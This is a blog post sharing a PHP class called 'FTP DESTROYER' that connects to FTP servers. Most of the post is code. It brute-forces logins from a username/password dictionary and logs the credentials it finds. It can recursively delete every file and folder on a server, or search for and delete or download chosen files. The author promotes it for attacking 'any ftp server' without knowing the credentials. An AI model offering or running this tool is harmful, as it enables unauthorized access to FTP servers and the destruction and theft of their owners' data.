php class : FTP DESTROYER

Have you heard ’bout php? sure….

Have you heard ’bout ftp extension in php? sure…

In here, I want to share you a php class that can demolish any ftp server in this world, actually it needs little modification in order that this class could work perfectly.

Just for you to know, http://phpclasses.org have rejected this class to be published. They said this class is dangerous and so on. So, will you heard ’em?

This is the class in php 5
<?
class FTP
{
private $address = "";
private $username = "";
private $password = "";
public $conn;
private $startingdir = "";
private $output = "";

public function FTP($address = "localhost", $output = "output.log")
{
$this->address = $address;
$this->output = $output;
$this->conn = ftp_connect($this->address) or die("Couldn't connect to $address");
}

function __destruct() {
ftp_close($this->conn);
}

public function login($username = "anonymous", $password = "", $force = false, $startingdir = "")
{
if($startingdir != "") $this->startingdir = "/$startingdir";
$this->username = $username;
$this->password = $password;
if($force)
{
while( !ftp_login($this->conn, $this->username, $this->password) )
;
return true;
}
else
return ftp_login($this->conn, $this->username, $this->password);
}

public function doBruteForceLogin($dictionaryfile, $startingdir = "")
{
if($startingdir != "") $this->startingdir = "/$startingdir";
$handle = fopen($dictionaryfile, "r");
while ($userinfo = fscanf($handle, "%s\t%s\n")) {
list ($username, $password) = $userinfo;
if(ftp_login($this->conn, $username, $password))
{
$this->username = $username;
$this->password = $password;

$log = fopen($this->output, ‘a’);
fwrite($log, “$username:$password@$this->address\n”);

fclose($log);

break;
return true;
}
}
fclose($handle);
return false;
}
public function download($filename, $mode = FTP_BINARY, $resume = 0)
{
$handle = null;
$i = 0;
$localfilename = $filename;
$file = explode(".", $localfilename);
$temp = $file[count($file)-2];
while(file_exists($localfilename))
{
$file[count($file)-2] = $temp . "_$i";
$localfilename = implode(".", $file);
$i++;
}
$handle = fopen($localfilename, 'w');
$return = ftp_fget($this->conn, $handle, $filename, $mode, $resume);
fclose($handle);
return $return;
}

public function upload($filename, $mode = FTP_BINARY)
{
$handle = fopen($filename, 'r');
$return = ftp_fput($this->conn, $filename, $handle, $mode);
fclose($handle);
return $return;
}

private function demolishDir($dirname, $verbose = true, $filename = "")
{
$contents = ftp_nlist($this->conn, $dirname);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$toReturn = false;
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
$exactFilename = substr($value, strripos($value, '/') + 1);
if(is_file("ftp://$username:$password@$address/".$cleanCurrentFilename))
{
if($filename == "" || strtolower($filename) == strtolower($exactFilename))
{
if (ftp_delete($this->conn, substr($value,2))) {
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
$toReturn = true;
} else {
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
}
else if(is_dir("ftp://$username:$password@$address/".$cleanCurrentFilename))
{
$toReturn = $this->demolishDir($value, $verbose, $filename);
if($filename == "")
{
if (ftp_rmdir($this->conn, substr($value,2))) {
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
}
}
return $toReturn;
}

public function demolish($verbose = true)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$return = false;
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
if(is_file("ftp://$username:$password@$address/".substr($value,2)))
{
if (ftp_delete($this->conn, substr($value,2))) {
$return = true;
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
$return = false;
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
else if(is_dir("ftp://$username:$password@$address/".substr($value,2)))
{
$this->demolishDir($value, $verbose);
if (ftp_rmdir($this->conn, substr($value,2))) {
$return = true;
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
$return = false;
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
if(!$return) break;
}
return $return;
}

public function searchDestroy($filename, $verbose = true)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$toReturn = false;
echo "<br>";
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
$exactFilename = substr($value, strripos($value, '/') + 1);

if(is_file(“ftp://$username:$password@$address/”.substr($value,2)))
{
if(strtolower($filename) == strtolower($exactFilename))
{
if (ftp_delete($this->conn, substr($value,2))) {
if($verbose) echo “$cleanCurrentFilename deleted successfully<br>”;
$toReturn = true;
} else {
if($verbose) echo “Could not delete $cleanCurrentFilename<br>”;
}
}
}
else if(is_dir(“ftp://$username:$password@$address/”.substr($value,2)))
{
$this->demolishDir($value, $verbose, $filename);
}
}
return $toReturn;
}
private function searchFileInDir($filename, $dirname)
{
$contents = ftp_nlist($this->conn, $dirname);
$toReturn = array();
$username = $this->username;
$password = $this->password;
$address = $this->address;
foreach($contents as $value)
{
$dirname = substr($value, stripos($value, '/') + 1);
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
if( is_dir("ftp://$username:$password@$address/" . $dirname) )
{
$toReturn = array_merge($toReturn, $this->searchFileInDir($filename, $value));
}
else if(strtolower($filename) == strtolower($cleanCurrentFilename))
{
$toReturn = array_merge($toReturn, array($value));
}
}
return $toReturn;
}

public function searchFile($filename)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$toReturn = array();
$username = $this->username;
$password = $this->password;
$address = $this->address;
foreach($contents as $value)
{
$dirname = substr($value, stripos($value, '/') + 1);
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
if( is_dir("ftp://$username:$password@$address/" . $dirname) )
{
$toReturn = array_merge($toReturn, $this->searchFileInDir($filename, $value));
}
else if( strtolower($filename) == strtolower($cleanCurrentFilename) )
{
$toReturn = array_merge($toReturn, array($value));
}
}

return empty($toReturn)?false:$toReturn;
}
public function searchDownload($filename)
{
$toReturn = $this->searchFile($filename);
foreach($toReturn as $value)
{
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
$cleanCurrentFoldername = substr($value, 1, strripos($value, '/'));
ftp_chdir($this->conn, $cleanCurrentFoldername);
$toReturn = $this->download($filename);
}
return $toReturn;
}
}
?>

Do you have any idea what things can be done using this class. Here’s the list :

  • You could login legally to any ftp server, and upload-or-download-file
  • You could login legally to any ftp server, and : search-file-then-download, search-file-then-delete, demolish-evey-single-folder-and-file-in-those-ftp-server
  • And, the good thing is that you could do above things without have to know the username-password pair to login using doBruteForceLogin function. All you need to have is a file containing complete dictionary to match ’em using bruteforce technique. The format of dictionary is : put every username-password pair in <username><tab><password><newline>

Have a nice try !

About sisusilo

I was born after we celebrate youngman promise about their commitment to this country

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: